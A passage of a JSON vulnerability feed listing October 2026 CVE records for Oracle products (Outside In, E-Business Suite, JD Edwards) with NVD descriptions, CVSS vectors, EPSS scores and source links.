fixes.","publishedAt":"2026-10-20T22:20:36.590Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91342","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.0028,"percentile":0.20216,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91342&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91342","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91342","type":"primary","publishedAt":"2026-10-20T22:20:36.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91342&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91342, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91340","cveId":"CVE-2026-91340","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:36.360Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91340","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91340&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91340","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91340","type":"primary","publishedAt":"2026-10-20T22:20:36.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91340&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91340, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91338","cveId":"CVE-2026-91338","aliases":[],"kind":"vulnerability","title":"Vulnerability in the iSupport product of Oracle E-Business Suite (component: Internal operations).","summary":"Vulnerability in the iSupport product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data as well as  unauthorized read access to a subset of iSupport accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).","detail":"Vulnerability in the iSupport product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data as well as  unauthorized read access to a subset of iSupport accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:36.123Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91338","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00225,"percentile":0.1306,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91338&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91338","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91338","type":"primary","publishedAt":"2026-10-20T22:20:36.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91338&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91338, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91337","cveId":"CVE-2026-91337","aliases":[],"kind":"vulnerability","title":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Internal operations).","summary":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iProcurement accessible data as well as  unauthorized access to critical data or complete access to all iProcurement accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iProcurement accessible data as well as  unauthorized access to critical data or complete access to all iProcurement accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:36.007Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91337","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00257,"percentile":0.17151,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91337&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91337","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91337","type":"primary","publishedAt":"2026-10-20T22:20:36.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91337&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91337, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91328","cveId":"CVE-2026-91328","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Deployment SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Deployment SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Deployment SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:34.917Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91328","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00124,"percentile":0.02123,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91328","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91328","type":"primary","publishedAt":"2026-10-20T22:20:34.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91327","cveId":"CVE-2026-91327","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:34.803Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91327","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00215,"percentile":0.11834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91327&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91327","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91327","type":"primary","publishedAt":"2026-10-20T22:20:34.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91327&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91327, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91326","cveId":"CVE-2026-91326","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:34.687Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91326","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.0023,"percentile":0.13642,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91326&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91326","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91326","type":"primary","publishedAt":"2026-10-20T22:20:34.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91326&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91326, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91325","cveId":"CVE-2026-91325","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:34.570Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91325","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00398,"percentile":0.33728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91325&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91325","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91325","type":"primary","publishedAt":"2026-10-20T22:20:34.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91325&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91325, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91321","cveId":"CVE-2026-91321","aliases":[],"kind":"vulnerability","title":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Requisition Management).","summary":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Requisition Management).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Requisition Management).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:34.100Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91321","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00345,"percentile":0.27832,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91321&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91321","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91321","type":"primary","publishedAt":"2026-10-20T22:20:34.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91321&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91321, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91316","cveId":"CVE-2026-91316","aliases":[],"kind":"vulnerability","title":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).","summary":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:33.517Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91316","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00465,"percentile":0.4002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 